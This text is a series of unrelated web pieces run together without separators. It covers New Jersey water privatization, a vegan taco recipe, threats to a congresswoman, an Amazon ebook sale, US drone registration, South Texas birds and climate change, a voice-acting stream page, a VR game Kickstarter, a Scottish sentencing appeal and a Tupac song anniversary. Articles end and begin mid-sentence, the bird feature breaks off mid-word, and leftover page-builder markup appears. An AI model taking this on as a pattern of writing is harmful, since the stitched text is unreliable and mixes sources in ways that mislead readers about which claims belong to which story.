Still, WIPA supporters maintain that the law does not give private industry an unfair advantage but, rather, protects the public’s will by requiring municipalities to prove that their system is deficient before putting it up for sale. Activists, however, argue that the emergency conditions are so loosely defined that most municipalities will qualify. Citizens will have just 45 days from the announcement of a sale to mobilize and collect signatures from 15 percent of their municipality’s voting population to provoke a ballot measure.
“This bill is designed to take away public oversight and input into privatization,” says Jeff Tittel, director of the New Jersey Sierra Club, lamenting the short period of time given to organize sufficient opposition. “You’re talking about volunteers. We’re not private water companies with hired gun lobbyists with big consultants. We’re citizen groups with petitions.”
Tittel’s prediction may soon be put to the test. Unhindered by the threat of public opinion, several local governments have taken steps toward selling their water utilities. In the month following WIPA’s signing, officials in Bridgeton and Woodbury announced the formation of water study committees to consider privatization. And in June the mayor of West Milford, Bettina Bieri, announced that she and the commissioners of the Municipal Utilities Authority were moving toward selling the township’s public water utility to a private company. Calling it “a no-risk endeavor that may reap huge benefits,” Bieri said that the sale would not increase water rates, even as commissioners warned that it might.
“I truly believe that now is the time,” the mayor said.Tampa, (Fl) -- Hello people, it's been a while since I wrote something here; I been trying to find a little bit of my self over the last year and I found out up to the point I had become more comfortable on my own skin and knowing what I want to do to; at least with this blog I want to focus on simple organic based cooking with vegan and vegetarian ideas.
Today we are going to do a simple Vegan Taco which we are going to use:
1) Any Mexican salsa of your preference. 2 Tablespoons for half a pound.
2) Tofu Crumbles (Any brand you like is OK).
3) Taco Shelves where you can get at any supermarket (I got mine at Publix.)
4) Vegetables of your choice.
5) Vegan cheese slices.
6) (Optional) Vegan meat; in the case of mine I like to add "fake" Bologna.
7) Taco seasoning
The first thing we are going to do is to pre-heat the oven 350 Fahrenheit degrees (but all the temperatures can change so you better know the heating point of your oven as mine is electric) in order to cook the ingredients properly, but also one beautiful thing about cooking is that you can do the way you like to create fantastic results.
Two methods for cooking tacos are making the shelves hard independently from the ingredients and cook the ingredients separate in order to create a perfect stir but also to create the marinade of the ingredients and cook them in the oven together to create a perfect symmetry and a more gourmet approach but the setback with the oven is that you have to be careful to not overcook them.
When the oven is set, it is time to start assembling the tacos, depending on the container you are going to use leave at least an inch apart between the tacos. The first step is to add the cheese in the bottom; my ideal cheese is the Go Veggie! as is completely lactose and dairy free.
Another addition I do enjoy making is to add some extra "meat" that is meatless and Lightlife is a nice option to add some extra flavor to the combination which I place above the cheese but in between the crumbs or as in the Colombian Spanish we say El Picadillo; which I think is the proper term in this case. So with El Picadillo we are going to use the Marjon Tofu Crumbles.
What is fantastic about these tofu crumbles that you can find within almost any variety is that you can adapt them to make hamburgers and to use them for filling or anything and in this case they are going to be the body of the taco itself.
The tofu crumbles we are going to use you can find them at any major supermarket in the vegetarian section or near that one around the produce cold items. I got mine at Publix for US$3.99 and I ended up preparing a marinade with them that I will use later for another recipe with linguine.
At the moment of making the marinade use the rule of thirds to make them extra spicy or extra mild depending on your case of preference and try to center the meat so it won't crumble down on the sides (since we are making the tacos in the oven as a whole) when you are making the picadillo also use the taco seasoning of your preference, I tend to to add two teaspoons of seasons on every third of my recipe but the flavor is up to you.
Since this tacos don't have any meat the cooking time is less than the ones with real meat crumbs, the proper time to make them crunchy is about 10 to 15 minutes, beyond that point there is a risk that they will end flabby and not that tasty. I hope you enjoy this simple and easy recipe, and don't forget to add any veggies you like at the end.WASHINGTON (CBSMiami) – Rep. Frederica Wilson’s office claims multiple threatening phone calls directed at congresswoman came into her D.C. office on Wednesday.
Her staff told CBS4’s Carey Codd the calls were directly related to the phone call from the president to the wife of Army Sgt. La David Johnson.
The congresswoman’s staff said they alerted the Capitol Police, Miami Garden Police and the threat division of the U.S. House of Representatives.
Codd was told she is safe and that she is being protected at this point.
All this comes as President Donald Trump refutes Wilson’s claim that he made an insensitive comment to the widow of a Miami Gardens soldier killed in action.
Myeshia Johnson was on her way to the airport to greet the remains of her husband, Sgt. La David Johnson, when she received the call from the commander-in-chief.
“He said to the wife, ‘Well, I guess he knew what he was getting into,’” recalled Rep. Frederica Wilson, who was in the car with Myeshia. “How insensitive can you be?”
Wednesday morning, Mr. Trump took to Twitter to defend himself.
Democrat Congresswoman totally fabricated what I said to the wife of a soldier who died in action (and I have proof). Sad! — Donald J. Trump (@realDonaldTrump) October 18, 2017
During an interview Wednesday morning on CNN, Rep. Wilson said she stood by her story and several other people in the car, including the driver, a master sergeant and Myeshia Johnson’s aunt and uncle hear the conversation.
“I have proof too. This man is a sick man. He is cold-hearted and he feels no pity or sympathy for anyone,” said Wilson. “And when she actually hung up the phone, she looked at me and said, ‘he didn’t even know his name.'”
Trump was already under fire for not reaching out more quickly to the families of the fallen soldiers, who were killed in an attack in Niger on October 4th.
According to the military, Johnson’s Special Forces unit was assisting and advising Nigerians on dealing with terror groups. The U.S. and Niger forces in a joint patrol were leaving a meeting with tribal leaders when they were ambushed by 40-50 militants believed to be linked to the Islamic State group.
Sgt. Johnson and three other soldiers were killed. Four Nigerien soldiers also died in the attack and two other U.S. troops were wounded.
Nearly two weeks after the attack, Trump finally called the loved ones of all four Green Berets killed.
The 5,000 Role Models of Excellence program has established Role Model Army Sgt. La David Johnson Scholarship to ensure Johnson’s three children will have money for college.
The Pentagon has launched a preliminary investigation into the firefight, the details of which are still not clear two weeks later.
Intelligence said Johnson’s 12 man team was “unlikely” to run into opposition which turned out to be an obvious failure.
Also in question: How did Sgt. Johnson get left behind? His body wasn’t recovered until 48 hours after the ambush.
And did he survive or was he killed instantly?
Initial reports said Sgt. Johnson may have been alive for some time after the attack.
You can help support the Johnson family by donating at their GoFundMe page.Wow! Amazon’s slashed the price on more than 900 Kindle ebooks in a surprise one-day sale which ends at midnight. (“Time Left on Today’s Deal: 0 Days, 14 Hours, 51 Minutes, 23 Seconds…” Amazon warned this morning at the bottom of one page…) Just point your computer’s web browser to
tinyurl.com/CyberMondayEbooks. Amazon slipped the special announcement onto their “Daily Deals” page, which usually features just one ebook at a special price.
Today’s there’s hundreds of ebooks that have been discounted up to 75% — and they’re spread across seven different categories!
Mysteries
Romance
Literature and Fiction
Science Fiction
Biographies
Nonfiction
Children’s and Teens
So what kind of books are on sale? In the fiction section, there’s novels by famous authors that I’ve actually heard of, including Leon Uris, Alice Walker, William Styron, and Pat Conroy. (Plus some humorous sixties novels by Terry Christian). Other sale-priced authors include James Jones, John Gardner, and Lawrence Block. But it seems like some categories had more discount books than others.
Over 300 of the discounted books are in Amazon’s “Mysteries and Thrillers” category — but many of them are by best-selling authors. There’s mysteries by James Elroy, Carl Hiassen, and Ellery Queen —
and Amazon’s usually offering discounts on more than one of their books. There’s also mysteries on sale by Stephen Koontz, John Lutz, and Susan Isaacs — plus Patricia Wentworth, Jack Higgins, and Loren D. Estleman.
I was also surprised how many “Children and Teen” books were on sale — more than 200 — though that number is higher because it includes dozens of books from the “Boxcar Children” series. And there’s several interesting memoirs on sale, including many books by Rebecca West and five books by veterinarian James Herriot. There’s also one very unusual best-seller that’s on sale — a parody of children’s picture books called “Go the $#%% to Sleep.” But these 900 bargain-priced books may be only the beginning.
Amazon displayed today’s daily deal next to graphic which announces “Cyber Monday Deals Week”.
Is it possible that there’ll be a new crop of discounted ebooks on Tuesday?(Reuters) – A federal task force is expected to recommend a Web-based registry for drone owners that would impose no registration fees, two people familiar with the matter said on Friday.
The 25-member task force has reached no final decisions after three days of meetings this week, the sources said. Discussions are expected to continue via teleconference over the next two weeks before the committee delivers formal recommendations to the Federal Aviation Administration by Nov. 20.
Owners of small unmanned aerial vehicles would likely have to sign up on a website or use a smartphone app and put a visible registration number on the drone.
The process would provide a digital alternative to the more onerous paper-based registration process for manned aircraft. Responsibility for registering is expected to fall to the owner rather than the manufacturer or retail vendor, but the task force could recommend no penalties for first-time noncompliance, the sources said.
The sources said this week’s meetings focused largely on top-line issues, leaving details on specific requirements and privacy questions for later discussions.
U.S. aviation regulators, who expect to begin implementing registration in December, say a registry would help authorities combat a surge in rogue drone flights near airports and other public sites. The flights have raised concerns about safety and security risks including possible collisions with commercial aircraft.
David Vos, the leader for Google’s Project Wing and co-chairman of the task force, told a conference this week that registration should be seen as the first step toward incorporating drones into U.S. airspace. He predicted that other steps, including air traffic control systems for low-altitude drone flights, could follow within the next 12 months.
The FAA is crafting final regulations that would allow companies to use drones as part of their business operations. Those rules are expected early next year.
(Reporting by David Morgan; Editing by Lisa Shumaker)As climate and habitat change in South Texas, where will all the birds go?
“It’s a bird’s-eye view,” refuge manager Gisela Chapa promised as we climbed the observation tower steps at Santa Ana National Wildlife Refuge. It was a cold and windy March day, and we’d almost elected to stay in the warmth of her government-issued Escape Hybrid SUV. But as soon as we reached the top it was plain to see why Chapa insisted we brave the weather.
Bundled in a brown U.S. Fish and Wildlife Service parka, Chapa oriented me: To the south, factory smoke rising from maquiladoras in Mexico. To the west, the Chase Tower in McAllen, part of the fastest growing metropolitan area in the United States. To the north, Military Highway, with truck traffic carrying goods to and from the border. Everywhere, fields of kale and sorghum and sugar cane that encircle the refuge like a lasso.
“It’s the big-picture view of habitat connectivity, habitat fragmentation, urban development, the river and our neighbors to the south,” she said. “It’s my favorite spot. It synthesizes everything.”
The tower seemed like a propitious place to start, since I’d come to Santa Ana in hopes of understanding the big-picture relationships between climate change, habitat and birds. For an amateur birder whose idea of weekend relaxation is an early morning in the field with my wife and two preschoolers who were birding before they were out of diapers, the 2014 National Audubon Society Birds and Climate Change Report—with its headline-grabbing forecast of 314 North American bird species at risk—had been a wake-up call. Before, climate change had seemed too vast and complicated—or just too depressing—to think about. Birds, though, were something I thought I could wrap my head around. Birds are something I care deeply about.
I found myself compulsively clicking through the animated range maps on Audubon’s website, watching them contract and shift northward before my eyes. It was depressing, and that was part of why I’d come to Santa Ana, the best known of the Valley’s birding hotspots, where more than 400 species have been documented within the tiny refuge’s 2,088 acres— more than are found in all but four states. Every year, tens of thousands of birders migrate to South Texas to add so-called Valley specialties (birds that, in the United States, can be seen only here) to their life lists, injecting an estimated $463 million a year into the regional economy. In a place with so many birds so close together, I figured, I couldn’t help but see firsthand the threats the Audubon report documented.
But the report also contained a disclaimer of sorts, which over time became the seed of a question: “The models aren’t intended to passively predict future responses to climate change, but rather to identify conservation ‘opportunities’ that can be realized with proactive planning.” What, I wondered, might such an “opportunity” look like at the ground level—here at Santa Ana, for instance? An optimist by nature, I wanted to know: What, if anything, can be done for the birds?
During spring migration in April and May, virtual clouds of Swainson’s hawks and broad-winged hawks can darken the sky, and sudden cold fronts produce “fall-outs” in which songbirds, dependent on southerly tailwinds to avoid exhausting their fat reserves, descend en masse to rest and refuel.
The remarkable diversity of birdlife in the Valley results from two overlapping strokes of geographic good fortune. First, the tip of Texas is situated at a migratory bottleneck in which two of the nation’s four major flyways, the Mississippi and the Central, squeeze together between the Gulf of Mexico and the Sierra Madre Oriental mountains. During spring migration in April and May, virtual clouds of Swainson’s hawks and broad-winged hawks can darken the sky, and sudden cold fronts produce “fall-outs” in which songbirds, dependent on southerly tailwinds to avoid exhausting their fat reserves, descend en masse to rest and refuel. Birders sometimes report seeing hundreds of brightly colored tanagers and warblers in the space of a single square mile.
Second, the Rio Grande demarcates not only an international boundary, but also the northernmost point for many year-round Valley specialties—including the green jay, Altamira oriole, plain chachalaca, and rare northern beardless tyrannulet—whose ranges are primarily in Central and South America. The Valley’s location at the intersection of tropical and temperate ecoregions makes it an ideal target for birders, as well as an interesting case study in climate change, since tropical species especially are already pushed to the edges of their climate suitability.
Often called “the jewel of the National Wildlife Refuge system,” Santa Ana’s status as the best place to see birds in an already bird-friendly region owes almost entirely to the availability of water, a resource that has become progressively scarcer in the Valley due to dams, drought and urban development. As the Rio Grande has slowed to a relative trickle, the refuge has been intensely managed to create an oasis of plenty in a more and more desert-like landscape.
The problem, though, is that even parts of Santa Ana are in the process of turning into near-desert. Climate models not only predict an increase in temperature in the Valley, but a precipitous decrease in average annual rainfall. Moreover, the same models show an increase in rainfall during the Valley’s rainy season—an increase that’s more than offset by even sharper decreases during the rest of the year. It’s a pattern indicative of both severe drought and stronger storms, too little water except when there’s too much. The effects of this increasingly bipolar climate are already observable at Santa Ana.
Down a muddy service road, a fleet of blue-winged teals fluttered out of the marsh cane as Chapa and I passed one of the many resacas that offer the refuge’s best habitat for wintering birds. Resacas are remnant channels of the Rio Grande, left behind as the river changed course. At one time, they would have filled with water each time the river flooded, creating seasonal wetlands. But Falcon Dam, completed in 1953, ended the river’s periodic flooding. That’s where the refuge, established in 1943 for the protection of migratory birds, comes in. “To provide quality habitat for migratory birds,” Chapa said, “we have to recreate what the river used to do by actively pumping water into our resacas.”
To illustrate, she drove me to Santa Ana’s beating heart: the pump itself. High on a bluff, the solitary blue behemoth was connected to the Rio Grande by 30 feet or so of pipe, sloped to the water at a 45-degree angle. The pump shuddered and squealed precariously, like it might be in need of an EKG. “It’s been here forever,” Chapa said, laughing. “It’s not 100 percent reliable, but it gets the job done.”
Stepping carefully down the muddy bank, we approached what Chapa called the “foot valve,” the pump’s intake, which looked something like a whiffle ball at the end of a stick. The mesh pattern was to filter debris (and wildlife) from the water drawn in by the pump, Chapa told me, but there was little danger of clogging that day; the river was so low that the valve was almost entirely above water. Until recently, the refuge could only wait for the river to rise again, but now, Chapa explained, the refuge’s pipes had been hooked up to an irrigation canal adjoining the Border Patrol road on the flood-control levee at the refuge’s northern boundary; from there, water can easily flow downhill. It’s a good backup, and a necessary one, especially given that in times of drought or high demand, farmers almost always get precedence over wildlife.
The gravest threat to the refuge, though, isn’t the result of too little water, but of too much. Or rather, it’s the product of both. In 2010, two tropical storms in one week dumped dozens of inches of rain on the Valley and the mountains of northeastern Mexico. Falcon Reservoir was pushed over capacity; when the water was released, the river rose more than 20 feet. The entire refuge was underwater, some parts for as long as 10 months, even as a severe multi-year drought set in almost immediately thereafter. It was a triple whammy: not enough water, then too much, then even less than before.
Chapa took me for a walk through a low-lying area of the refuge, where five years ago we would have seen acres of tall, leafy ebony, cypress and Rio Grande ash, collectively known as flood forest because, like the resacas, they’d once relied on moisture from the floods. The devastation was so complete that most evidence that a flood forest had ever existed here was gone, replaced by a variety of fast-growing, drought-tolerant species known as thorn scrub. Still, Chapa managed to find a few big dead trees (“snags”) left standing, far enough from the trail not to be a hazard. As we studied the snags, I asked whether she attributed the habitat change mainly to the flood, or to longer-term forces such as climate change.
Probably both, she told me. Even before the flood, refuge biologists had already been sounding alarms about the “heat stress” of sustained triple-digit temperatures and lack of moisture on the trees; the flood just sped up the process. And both flood and drought, though the close proximity of their occurrence was unusual, were examples of the extreme climate events that models had been predicting. Walking among the thorn scrub and the snags, I couldn’t help thinking that we might be looking at the Valley’s future. “I would hope that during my time at the refuge, we would have the resources to restore the flood forest,” Chapa said, “because what we have right now may not be of wildlife value.” But reforestation is expensive and time consuming, requiring heavy equipment to clear the thorn scrub and intensive labor to keep out the unwanted vegetation that invades after it’s gone—potentially for decades, until a canopy is formed to provide natural weed control. Reforestation would also require water. Even though some of the pipes are already in place to mimic the flood cycle, there are risks and costs associated with trying to restore the forest through what’s called sheet flooding. Without constant vigilance, water intended for regrowing the trees might be sucked up by guinea grass, a noxious invasive species that refuge staff is constantly battling. For now, at least, the refuge doesn’t have the resources to begin flooding again.
With the flood forest in danger of not coming back, birds that specialize on this habitat are at particular risk. One example is the northern beardless tyrannulet, a dusky, pint-size flycatcher that a non-birder might not even notice, but that could count as the highlight of a serious birder’s Valley vacation. The beardless, as it is known (it’s distinguished from similar species by the lack of bristles around its bill), relies on the ethereal Spanish moss hanging from old flood forest trees to make its nest. Spanish moss, which requires a good deal of moisture, is in deep decline at the refuge—and so is the beardless. The beardless’s niche is a flood forest habitat quickly ceasing to exist.
You move, you adapt, or you die,” is how University of Texas-Pan American biology professor Teresa Patricia Feria summed up a bird species’ possible responses to climate change. For specialists such as the beardless, moving is impossible, but for the vast majority of birds, packing up and leaving home might be a viable option. For that to happen, though, the right conditions must be in place. For one thing, birds need a suitable habitat in a different location to move to. For another, they require “stepping stones” of habitat along the way—many birds won’t fly over an open field, whether from fear of predation or simply of the unknown. But habitat fragmentation, due to agriculture and urban development, makes these stepping stones hard to come by in the Valley. The best hope for birds may be for biologists to plan their pathways in advance.
If we want to know how to best help birds relocate, we first need to know where they are now, and where they might want to go in the future. The Audubon report’s range maps are useful for this purpose, but they have one shortcoming: Because they don’t include (often nonexistent) data from Mexico, they’re practically irrelevant for most Valley specialties. And that’s where Feria, a native of the Estado de México and associate editor of the Mexican ornithology journal Huitzil, comes into the equation.
Before I even stepped through her office door, Feria had two brightly colored range maps up on her computer. Elegant in a red sequined shirt, matching lipstick and hummingbird earrings, she forsook any effort at introductions, launching straightaway into an explanation of the modeling process: Since Mexico doesn’t have the same tradition of bird observation and record-keeping as the United States, she explained, she had to resort to the novel approach of using museum specimens. (“My daughter always asks if I killed them,” she said. “It’s hard to explain.”) Although the sample sizes are small and also outdated—museums no longer sanction the shooting of birds for collecting purposes—the specimens do provide three indispensable data points: a name, a place and a location. With that information, Feria can enter a whole suite of environmental variables into a software program that generates a range map, like the one on her screen for a long-billed thrasher, a sweet-singing Valley specialty. Each tiny, colored box represented a square-kilometer plot of land. Red indicated “suitable habitat.” Blue meant “no suitable habitat.” In the case of the thrasher, the “before” and “after” maps showed a range that, like those of most species in North America, is shifting dramatically northward.
Modeling like this, especially when it is “downscaled” to such specific geographic areas, has its limitations. Climate “suitability” is based on historic correlations between bird populations and measurable factors including temperature and precipitation, and some species may prove better able to adapt to climatic changes than history suggests. More pessimistically, just because a potential new range offers a projected climate similar to a species’ current range doesn’t mean it will necessarily offer the right combination of food sources and vegetation. In this sense, models may actually understate risk.
Nonetheless, models provide a valuable baseline. And because it’s based on historical data, a model’s accuracy can be measured against present-day observations. “What we’re seeing,” Feria said, “is that what is happening in real life is surpassing all the hypotheses.”
Feria traced a line on her computer screen northward from southern Mexico all the way to Edinburg. “You will see the threat in the southern ranges of distribution, and expansion into the north. But what will they find here?” She worries, she told me, that such range shifts, together with rapid urbanization and development in the Valley, will spell more competition for increasingly scarce food and habitat. “Here in the Valley, a lot of birds will be coming. And we will not be prepared.”
As more data becomes available about range shifts—especially for birds already of particular conservation concern—it becomes the job of agencies such as U.S. Fish and Wildlife to help birds safely reach a hospitable destination. For this reason, the national wildlife refuge system is trying to create wildlife “corridors” to facilitate the movement not only of birds, but also of endangered mammals such as the ocelot. Santa Ana is part of a planned river corridor, the ultimate goal of which is the establishment of contiguous habitat all the way from Falcon Dam to the mouth of the Rio Grande. The river corridor, though, is a work-in-progress, a scattershot collection of mostly small tracts of land with more points of disconnect than connection. To find a corridor that might be more on par with the sweeping challenges birds face as a result of climate change, I had to travel east, to Santa Ana’s sister refuge on the coast: Laguna Atascosa.
I almost didn’t get there at all. A torrential rain had turned the refuge’s entry road into a river unto itself, and I considered turning back when the water became deeper than my tires. When I arrived 45 minutes after our scheduled meeting time, refuge manager Boyd Blihovde turned my lateness into a talking point. “As you saw, we are pretty low here,” he observed wryly. Rail-thin with deeply set eyes, he wore a brown parka identical to the one Chapa had worn at Santa Ana. (It’s a small conservation world; the two are married and have 10-month-old twins.) “You can see why one of my main concerns is sea level rise, which obviously is an effect of climate change,” he said.
In spite of the deluge, Blihovde took me out in his four-wheel drive Durango to show me the extent of the problem. Parking in the middle of a levee service road, we rolled down our windows. To the left, he explained, was a saltwater marsh; to the right, a freshwater lake. The difference wasn’t hard to see. Most waterfowl require fresh water, and the lake teemed with a dozen species of ducks, including a ruddy duck, striking with its sky-blue bill and rich chestnut breast.
“You move, you adapt, or you die,” is how University of Texas-Pan American biology professor Teresa Patricia Feria summed up a bird species’ possible responses to climate change.
Usually, Blihovde told me, the marsh is a dry sand flat, but the spring rainfall had made it easy to see his ultimate concern: Unlike ocean tides, the tides in the refuge-facing Laguna Madre are almost entirely wind-driven, and all it would take is one “superstorm” to push the water over the levee and turn the fresh water salty. Rising sea levels, along with the increasing probability of strong storms, are making this scenario—the technical name is salt intrusion—more and more likely. And once it happens, it’s practically irreversible.
It would also be catastrophic for wildlife, especially for species such as the redhead duck, 80 percent of whose worldwide population winter at Laguna. A little farther down the road, we got out of the truck and walked to a scenic overlook. My binoculars were clouded over, but I didn’t need them to see the aptly named redheads, gathered by the hundreds 100 yards or so offshore. (I also saw in the distance dozens of great blue herons and a single rare reddish egret dancing along the shoreline of the Laguna Madre.) “We have a decision to make,” Blihovde said, gesturing at the levee. “Do we want to keep building this higher, further armoring the coastline? Or do we want to find other freshwater sources in other places, and do a managed retreat over time?”
In general, Blihovde explained, these are the two philosophies on helping wildlife adapt to climate change: “stand-and-fight” and “managed retreat.” In places like Santa Ana’s flood forest, or a levee separating fresh and salt water, there may be no choice but to stand and fight for habitat that, without significant human intervention, would almost certainly vanish. For most species, though, managed retreat—help |
. Please credit any actors and actresses that recorded their lines. Actors are listed at the bottom of this post.
If you want to know what time it is in MST (my part of the world), click here:
https://www.google.ca/search?q=mountain+standard+time&rlz=2C1GIGM_enCA0537CA0537&oq=mountain+stan&aqs=chrome.1.69i57j69i59.1868j0j7&sourceid=chrome&es_sm=93&ie=UTF-8
Mondays 5-7pm MST
Monday nights we have 4-6 people in the studio doing voice over. If you live in the western hemisphere, this is the stream for you.
Thursdays 9-11am MST
This stream is dedicated to people in the eastern side of the globe. Join me on my thursday mornings as I warm up for work with a few scripts!
Submit Your Script
The Rules
I know… rules suck! However since we are overloaded with scripts every stream, they must be enforced.
First and foremost, you must have actual plans to publish your game.. This is not to be elitist in some way, but remember there are other people submitting scripts that are in the voice acting implementation stage and they really need some work done. I am not going anywhere, there will always be another week to submit your script!
If english is not your best suit, not to worry, there are tons of people in the stream willing to help out with editing your scripts! Just ask during the stream if somebody will help you out. Also, remember to provide context in your scripts if you have something that should be stressed. Sometimes the scripts are not as transparent as you think and if you wait till we have the script and start recording, chances are it will be too late by the time you actually hear it being done on the stream 🙂
How It Works
Please submit your script using the following guidelines. Also ensure you are in the channel when your name gets called or we will have to move on to the next script – plus, wouldn’t you want to be there and tell people about your project? It’s a good time to promote yourself.
Name of Game:
Twitch Name:
Link To Game:
Your Script ATTACHED: (preferably in PDF, however a word doc or text file is also good.)
Context: (for example: {player arrives to destination and is confronted by NPC} NPC: <said angrily> “It’s about time!”)
Consider Donating!
I am doing this on any free time I have, and I LOVE doing it. I would love to be able to take more time off to put more time back into the stream through promotion and ads.
Donate Your Time Instead Of Money!
If you can’t donate money, consider donating a few minutes of your time by linking this blog post to a few of your social circles. It costs you nothing, but helps us get the word out to other indie developers in need!
One good way to do this is by spreading the word about my patreon campaign! Share it on reddit, facebook groups, google plus, and game developer forums. Give people the opportunity to help me with my mission to expand the world of indie gaming!
Submit by email to elijahlucian@gmail.com
*by submitting your script for a live reading, you are releasing performing rights to your material to Elijah Lucian and his staff for use on his Twitch Stream.
THE CAST
Please give credit to anybody that has been on your screen. Always credit the Voice Casting & Directing to me, Elijah Lucian, and then add the actors themselves.[/vc_column_text][/vc_column][/vc_row][vc_row type=”full_width_content” bg_position=”left top” bg_repeat=”no-repeat” scene_position=”center” text_color=”dark” text_align=”left”][vc_column width=”1/4″][team_member image_url=”2649″ team_memeber_style=”meta_overlaid” link_element=”none” color=”Accent-Color” name=”Elijah Lucian” job_position=”Voice Actor & Casting Director” link_url_2=”http://www.twitter.com/elijahlucian”][/vc_column][vc_column width=”1/4″][team_member image_url=”2650″ team_memeber_style=”meta_overlaid” link_element=”none” color=”Accent-Color” name=”Kaela Caron” job_position=”Voice Actress & Pin-Up Model” link_url_2=”http://www.twitter.com/kaela_jo”][/vc_column][vc_column width=”1/4″][team_member image_url=”2651″ team_memeber_style=”meta_overlaid” link_element=”none” color=”Accent-Color” name=”Victoria Marie” job_position=”Voice Actress & Recording Engineer” link_url_2=”http://www.twitter.com/vmhutton”][/vc_column][vc_column width=”1/4″][team_member team_memeber_style=”meta_overlaid” link_element=”none” color=”Accent-Color” name=”Chad Caron” job_position=”Voice Actor & Beer Runner” image_url=”2652″ link_url_2=”http://www.twitter.com/ithechad”][/vc_column][/vc_row]The latest update to the Project Torus Kickstarter shows off some major improvements to game design and assets, as well as introduces a new 180 degree option for those running the game on desktop computers.
Previous updates have shown off different tier rewards.
At the $30 level, you receive a T shirt.
At the $40 tier allows you to “Get Your Head In The Game” with a 3D version of your head in the Bonus Level.
Project Torus, developed by the host of the Rev VR Podcast, Rev. Kyle Riesenbeck, is hoping to raise $3,200 USD on Kickstarter by 16th August 2014 in order to fund development of the title. If successful, the video game aims to arrive on a wide range of VR displays, including the Oculus Rift, Project Morpheus, and Android based systems such as GameFace and IMMERSION VRelia. This would make Project Torus one of the first VR videogames to achieve this level of cross-platform availability.
Project Torus is a 360-degree first-person shooter experience designed for VR. It is a fast-paced title that takes inspiration from the likes of classics such as Space Invaders and Asteroids. Players control a gun turret centered in a round stadium and must destroy a UFO that drops health-draining orbs. The camera is controlled using the given HMD’s head-tracking technology and use one button to fire. Standard versions of the title will also let you play with a mouse on PC or by moving a smartphone around with the mobile version.
Kickstarter link:
https://www.kickstarter.com/projects/1172145560/project-torus-multi-platform-vr-gameColin Ross has had his prison sentence cut from 20 to eight years for the attempted murder of a teacher who later died.
STV
A man jailed for an "evil and inhuman" attack on an American tourist had his minimum jail term slashed from 20 years to eight years.
But a judge warned Colin Ross that he may never get out of prison, even though he can technically ask the parole board to free him next year.
Ross, 41, was the first person in Scotland to be given an order for lifelong restriction (OLR) - a new form of life sentence introduced in 2006.
Judge Lord Wheatley, who imposed the sentence, branded the attack on 57-year-old school teacher Marty Layman-Mendonca "evil and inhuman".
Ross, who pleaded guilty to attempted murder, admitted battering her with a metal pipe and a boulder.
Ms Layman-Mendonca, a frequent visitor to Scotland, was hiking on the Great Glen Way in July 2006. Ross ambushed her a few miles south of Inverness, on a forestry track at Blackfold.
He inflicted at least 19 blows causing horrific injuries to Ms Layman-Mendonca's eye sockets, cheeks and jaw. She was found by a police dog, unconscious and lying in a ditch.
Ms Layman-Mendonca, from Vermont, spent three months in hospital in Inverness in a coma before being flown back to the United States where she died a month later.
Ross came to the Court of Criminal Appeal in Edinburgh because the Scottish Criminal Cases Review Commission - a watchdog which investigates possible miscarriages of justice - took up his case.
Appeal judges Lady Paton, sitting with Lord Mackay of Drumadoon and Lord Drummond Young were told that since Lord Wheatley sentenced Ross, the rules had changed. Ross has become another lifer to benefit from the ruling.
An OLR - like a life sentence for murder - means that after serving a minimum "punishment part" the case is turned over to the parole board.
They will release a prisoner if the person is no longer considered a danger to the public. After that an offender who has been handed an OLR remains subject to close supervision for the rest of their life. Any re-offending can result in a return to prison, without even the necessity of a court case.
Ross, formerly of Waterloo Place, Inverness, had been freed from an earlier three-year prison sentence imposed after he attacked a female German holidaymaker near Cawdor Castle in May 2004.
He had been released - subject to a dusk to dawn curfew - just four weeks before the attack on the Vermont school teacher.
His serious offending career began in 2003 when he was caught with a paper in his wallet giving himself detailed instructions on how to attack a woman in her own home.
The chilling note ended: "Then the fun begins". Ross kept binoculars, a woollen hat with eye holes, a gag, tape, gloves and condoms for his attacks.
He was on the sex offenders register and under supervision and subject to an order banning him approaching women at the time of the attack on Ms Layman-Mendonca.
The judge who gave him the life sentence, Lord Wheatley, said: "Even so, all these protective measures did not prevent you committing this evil and inhuman act."
Lord Wheatley told Ross that he had planned the attack on Ms Layman-Mendonca with some care and appeared to have got "a degree of satisfaction from the assault".
The judge said: "The photographs produced show injuries among the most horrifying ever to be seen in this court."Lord Wheatley added: "You have a disturbing criminal record, involving escalating violence towards women."
Defence advocate Shelagh McCall told the appeal judges that since Lord Wheatley sentenced Ross in 2006 a decision by seven judges had changed the way minimum sentences should be calculated.
In a written ruling issued today, Lady Paton said: "In our opinion, Ross is a very dangerous man. The parole board would undoubtedly be very cautious about letting him back into the community.
“This court cannot but acknowledge the correctness of the SCCRC's referral. We emphasise, however, that whatever punishment part is substituted, it does not follow that you will be released into the community once that punishment part has expired."Happy 20th Anniversary, 'Dear Mama'
By Shamarie, 21st Feb 2015 | Follow this author | RSS Feed | Short URL http://nut.bz/43h2dsbo/
Posted in WikinutReviewsMusicHip-Hop & Rap
Today marks the 20th anniversary of the release of Tupac Shakur's most emotionally resonant song, "Dear Mama.”
Dear Mama
“Dear Mama” is one of the greatest rap songs by rap legend 2Pac. Released on February 21, 1995 as the lead single from his third studio album, Me Against the World (1995), "Dear Mama" details Tupac Shakur’s meager beginnings as a child from a poor family, and his mother, Afeni Shakur’s addiction to crack cocaine, but argues that his love and deep respect for his mother supersede bad memories. The song peaked at number one on the Billboard Hot Rap Singles chart for five weeks and certified Platinum by the RIAA on July 13, 1995. "Dear Mama" also helped Me Against the World certified double platinum.
Image credit
www.freecodesource.com
Background
Tupac Shakur wrote the song shortly before he served a prison term. Upon completion of the track "Dear Mama", Tupac phoned longtime friend, Jada Pinkett-Smith, remarking, "I wrote this song about our mothers and I want you to hear it." Pinkett-Smith's mother too had struggled with drug addiction, and their experiences growing up with this as children led to their friendship. She later remarked that the song gave her a "rush of emotions" upon her first listen. The song not only would resonate with Jada, but many young people from single-parent households.
In a 1995 interview with the Los Angeles Times, Tupac Shakur defended his lyrics, noting that he worked in the studio with women and played his songs for women pre-release, remarking, "Why do you think I wrote "Dear Mama"? I wrote it for my mama because I love her and I felt I owed her something deep."
Image credit
www.flickr.com
Legacy
"Dear Mama" is one of the most beautiful, heartfelt, and compassionate rap songs ever. It has become a tradition in the ‘hood to play the song on Mother's Day. In 2010, Dear Mama was added to the National Recording Registry in the Library of Congress, who deemed it a work that is "culturally, historically, or aesthetically important, and/or inform or reflect life in the United States." In a press release, the organization called the song "a moving and eloquent homage to both the murdered rapper's own mother and all mothers struggling to maintain a family in the face of addiction, poverty and societal indifference."
LA Weekly placed the song 6 on their list The 20 Best Hip-Hop Songs in History and Rate Your Music ranked the song at 7th on their list of The 200 Best Hip Hop Songs Of All Time.
Sources
